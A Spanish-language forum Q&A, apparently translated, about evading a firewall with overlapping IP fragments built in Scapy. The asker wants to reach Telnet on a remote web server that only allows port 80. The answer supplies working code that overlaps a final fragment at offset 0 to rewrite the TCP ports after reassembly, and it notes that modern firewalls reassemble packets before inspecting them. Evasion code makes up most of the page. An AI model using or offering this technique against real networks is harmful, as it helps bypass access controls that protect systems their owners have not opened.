El ataque de fragmentos superpuestos utilizando Scapy

3

Cómo usar Scapy para sobrescribir una parte de la información del encabezado TCP del primer fragmento, que contenía datos que ¿Se le permitió pasar a través del firewall, con datos maliciosos en fragmentos posteriores?

Por ejemplo: sobrescriba el número de puerto de destino para cambiar el tipo de servicio, es decir, el cambio del puerto 80 (HTTP) al puerto 23 (Telnet) que no podría pasar el enrutador en circunstancias normales.

Quiero sobrescribir el puerto de destino para conectarme al nuevo número de puerto. Y estoy tratando de evitar las restricciones del Firewall en el servidor web remoto que solo permite el tráfico web en 80 puertos.

He usado este código de ejemplo, pero no recibo una respuesta de la máquina de destino:

dstIP=’10.0.2.17’

frag1=IP(dst=dstIP, id=12345, proto=1, frag=0, flags=1)/TCP(dport=80)/ICMP(type=8,
code=0, chksum=0xdce8)

frag2=IP(dst=dstIP, id=12345, proto=1, frag=2, flags=1)/TCP(dport=23)/”ABABABAB”

frag3=IP(dst=dstIP, id=12345, proto=1, frag=1,flags=0)/TCP(dport=23)/”AAAAAAAABABABABACCCCCCCC”

send(frag1)
send(frag2)
send(frag3)
    
pregunta TMR 22.02.2014 - 23:33
fuente

1 respuesta

1

Crea un encabezado de IP falso que sugiere proto=tcp . Tenga en cuenta que no puede modificar los campos de encabezado IP con una superposición de fragmentos, ya que estamos hablando de fragmentación de la carga útil de IP. Establezca el indicador MF Más fragmentos e indique que este es el primer fragmento estableciendo el desplazamiento en 0 frag=0 . Cree otro paquete IP con el mismo IP.id, IP.src, IP.dst, IP.proto con el indicador MF no establecido (el último fragmento no tiene el conjunto de bits MF ). Este paquete se superpondrá a la carga útil de IP en un desplazamiento específico, por lo tanto, establezca el fragmento de compensación frag=x donde la posición real en su carga útil es x*8 , es decir, offset=1 es la posición de byte 8 (esto sería la suma de comprobación de TCP) .

Aquí hay un ejemplo simple:

# create two IP packets, one with 1480 payload bytes and one with 4 payload bytes
# initial payload is TCP with sport/dport being 9999

frags = fragment(IP(dst=dstIP)/TCP(sport=9999,dport=9999)/("FAKE"*(1464//4)))

# [<IP  flags=MF frag=0 proto=tcp dst=10.0.2.17 |<Raw  load="'\x0f'\x0f\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xd5n\x00\x00FAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKE" |>>, <IP  flags= frag=185 proto=tcp dst=10.0.2.17 |<Raw  load='FAKE' |>>]
# overwrite the 4 payload bytes of fragment 2 to overlap the reassembled IP packet at offset 0 to overwrite sport/dport to port 80,80

frags[1][Raw].load=struct.pack("!HH",80,80)  # network byteorder
frags[1][IP].frag=0
# <IP  flags= frag=0 proto=tcp dst=10.0.2.17 |<Raw  load='\x00P\x00P' |>>

# send your fragments and watch them being reassembled in wireshark/...
# they should show up the initial IP/TCP/sport=dport=9999 packet but with sport/dport being set to 80
send(frags)

Esto se volverá a unir a:

IP(dst=dstIP)/TCP(sport=80,dport=80)/("FAKE"*(1460//4))

Tenga en cuenta que todavía tiene que corregir la suma de comprobación de TCP y los firewalls modernos suelen emplear la desfragmentación de IP y el reensamblado de la secuencia de TCP para evaluar el paquete / segmento real reensamblado en lugar de uno de sus fragmentos.

    
respondido por el tintin 07.10.2015 - 01:18
fuente

Lea otras preguntas en las etiquetas